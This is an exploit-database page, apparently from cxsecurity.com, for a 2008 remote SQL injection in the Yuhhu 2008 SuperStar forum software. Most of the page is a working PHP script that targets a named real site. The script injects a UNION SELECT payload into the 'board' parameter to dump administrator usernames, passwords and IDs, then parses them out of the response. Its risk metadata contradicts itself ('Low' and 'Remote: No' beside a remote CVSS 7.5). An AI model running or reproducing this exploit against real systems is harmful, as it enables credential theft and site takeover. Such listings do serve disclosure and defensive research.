Yuhhu 2008 SuperStar (board) Remote SQL Injection Exploit

2008.11.30
Credit: RMx
Risk: Low
Local: No
Remote: No
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<?php /* Coded By RMx Yuhhu 2008 SuperStar Sql injection exploit... BiyoSecurity.Com & Coderx.org Thanx : Liz0zim & Cr@zy_King */ set_time_limit(0); error_reporting(E_ALL); function yolla($site,$liz0zim){ global $veri;$exploit = fsockopen(gethostbyname($site),"80"); if(!$exploit){die("Ba&#65533;lant&#177; sa&#65533;lanamad&#177;..."); }else{fputs($exploit,$liz0zim);} while(!feof($exploit)) { $veri .=fgets($exploit);} fclose($exploit); return $veri;} $site = "elmayra.com"; $path = "/forums/"; $rmx = "GET ".$path."view.topics.php?board='+union+select+0,concat(0x6B,0x75,0x6C,0x6C,0x61,0x6E,0x69,0x63,0x69,0x3A,0x20,admin_username,0x3a,0x73,0x69,0x66,0x72,0x65,0x3A,0x20,admin_password,0x20,0x61,0x64,0x6D,0x69,0x6E,0x20,0x74,0x69,0x70,0x69,0x3A,0x20,admin_type,0x61,0x64,0x6D,0x69,0x6E,0x20,0x69,0x64,0x3A,admin_id),1,2%20from%20joovili_admins/* HTTP/1.1\r\n"; $rmx .= "Host: $site\r\n"; //$rmx .= "Content-Type: application/x-www-form-urlencoded\r\n"; $rmx .= "Content-Type: text/plain\r\n"; $rmx .= "Connection: Close\r\n\r\n"; $tuttum=yolla("$site","$rmx"); $ara="#class=\"linkbeyaz\">(.*)</a></td>#"; $bul=preg_match($ara,$tuttum,$rmx); $huseyin=str_replace("class=\"linkbeyaz\">","",$rmx); echo $site."<br>"; echo $huseyin[0]; ?> author : Dj Remix

References:

http://www.securityfocus.com/bid/29647


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top